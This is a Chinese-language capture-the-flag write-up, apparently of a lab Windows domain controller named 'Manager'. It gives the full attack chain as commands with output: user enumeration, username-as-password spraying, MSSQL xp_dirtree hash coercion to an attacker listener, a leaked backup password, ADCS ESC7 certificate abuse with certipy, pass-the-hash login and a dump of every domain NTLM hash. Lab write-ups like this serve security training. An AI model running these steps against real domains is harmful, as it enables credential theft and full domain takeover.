基本信息

端口扫描

80,1433，和一些常规域端口：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
$ nmap -sC -sV -Pn 10.10.11.236
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-23 13:48 CST
Nmap scan report for 10.10.11.236
Host is up (0.087s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Manager
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-23 12:49:32Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2023-10-23T12:50:53+00:00; +7h00m00s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-10-23T12:50:53+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-10-22T21:38:35
|_Not valid after:  2053-10-22T21:38:35
|_ssl-date: 2023-10-23T12:50:54+00:00; +7h00m00s from scanner time.
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2023-10-23T12:50:54+00:00; +7h00m00s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2023-10-23T12:50:53+00:00; +7h00m01s from scanner time.
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2023-10-23T12:50:17
|_  start_date: N/A
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 6h59m59s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 171.39 seconds

80

一个写作服务官网：

Enum

users

基础枚举得到一些用户名：

1
2
3
4
5
6
7
8
9
10
11
12
poetry run crackmapexec smb 10.10.11.236 -u miao -p "" --rid-brute 10000

Administrator
Guest
krbtgt
Zhong
Cheng
Ryan
Raven
JinWoo
ChinHae
Operator

password

没有可利用的roasting之类，简单的把用户名作为密码(注意需要一份小写copy)，可以发现operator：

1
2
3
poetry run crackmapexec smb 10.10.11.236 -u users.txt -p users.txt --no-brute

SMB         10.10.11.236    445    DC01             [+] manager.htb\operator:operator

mssql

根据端口扫描结果还知道开放1433，所以同样检测mssql服务：

1
poetry run crackmapexec mssql 10.10.11.236 -u operator -p operator

mssql

然后就可以登录mssql,但只是guest:

1
python3 ~/Tools/impacket/examples/mssqlclient.py manager.htb/operator:operator@10.10.11.236 -windows-auth

xp_dirtree

可以执行xp_dirtree，UNC获取的是DC$ hash破解不出来:

1
2
3
sudo python3 Responder.py -i 10.10.16.4 -v

SQL (MANAGER\Operator  guest@master)> xp_dirtree \\10.10.16.4\miao

backup

翻文件，web根目录发现一个备份压缩包：

1
2
3
SQL (MANAGER\Operator  guest@master)> xp_dirtree C:\inetpub\wwwroot

website-backup-27-07-23-old.zip

因为是在web根目录，直接通过80那边下载即可：

1
http://10.10.11.236/website-backup-27-07-23-old.zip

解压后发现一个xml文件，其中得到raven用户的密码：

1
2
raven@manager.htb
R4v3nBe5tD3veloP3r!123

user flag

Raven用户登录：

1
evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'

提权信息

常规枚举发现raven在”Certificate Service DCOM Access”组中，那就检查ADCS，发现ESC7:

1
2
3
4
5
whoami /all

certipy find -vulnerable -stdout -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236

manager-DC01-CA

ADCS ESC7

参考文章一步步来：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# add officer
certipy ca -ca 'manager-DC01-CA' -add-officer 'Raven' -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236

# 第一次请求被拒绝，获取请求id
certipy req -ca 'manager-DC01-CA' -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -template SubCA -upn administrator@manager.htb -target 10.10.11.236
[*] Request ID is 13

# 手动发出失败的证书请求
# 这一步如果报错Got access denied trying to issue certificate，再做一次第一步的add officer
certipy ca -ca 'manager-DC01-CA' -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -issue-request 13

# 检索颁发的证书
certipy req -ca 'manager-DC01-CA' -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -target 10.10.11.236 -retrieve 13

# auth,获取 hash，这一步要确保时间同步
faketime -f +7h certipy auth -pfx ./administrator.pfx -dc-ip 10.10.11.236

[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef

root flag

得到的Administrator hash登录：

1
evil-winrm -i 10.10.11.236 -u Administrator -H ae5064c2f62317332c88629e025924ef

hashdump

1
2
3
4
5
6
7
8
9
10
11
12
13
python3 ~/Tools/impacket/examples/secretsdump.py Administrator@10.10.11.236 -hashes :ae5064c2f62317332c88629e025924ef -just-dc-ntlm

Administrator:500:aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b5edce70e6c1efa075f14bcf5231f79a:::
Zhong:1113:aad3b435b51404eeaad3b435b51404ee:7d148e27d43945dca3f9a9ae6cb93e47:::
Cheng:1114:aad3b435b51404eeaad3b435b51404ee:5f9fb454ca66927468e91362c391d4fb:::
Ryan:1115:aad3b435b51404eeaad3b435b51404ee:7f4e434796eeb1aa0c69630613dbc8a4:::
Raven:1116:aad3b435b51404eeaad3b435b51404ee:1635e153d4d6541a6367ec7a369d1fc7:::
JinWoo:1117:aad3b435b51404eeaad3b435b51404ee:43b026fc35e89627f2aed3420a1ff09b:::
ChinHae:1118:aad3b435b51404eeaad3b435b51404ee:bcc5893596907bc0672ee1a42f6b887b:::
Operator:1119:aad3b435b51404eeaad3b435b51404ee:e337e31aa4c614b2895ad684a51156df:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:452a4c05d648cefa2a173dbbcd2db654:::

参考资料